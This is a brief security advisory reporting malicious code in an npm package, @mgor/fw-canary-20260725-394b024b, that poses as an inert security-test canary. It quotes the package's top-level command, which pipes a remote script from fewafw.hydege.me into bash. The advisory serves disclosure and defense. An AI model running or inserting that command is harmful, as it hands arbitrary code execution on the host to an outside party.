Summary
Malicious code in @mgor/fw-canary-20260725-394b024b (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37)

index.js, the package's declared main entry point, unconditionally executes curl fewafw.hydege.me | /bin/bash at top level. Any consumer that requires or imports this package fetches an unpinned, unverified shell script from a non-first-party domain and pipes it into bash, yielding arbitrary code execution on the installer's host. The package.json description and README self-label the package as an inert security-test canary with no install scripts and no functionality, directly contradicting the actual code behavior — a deceptive cover story.
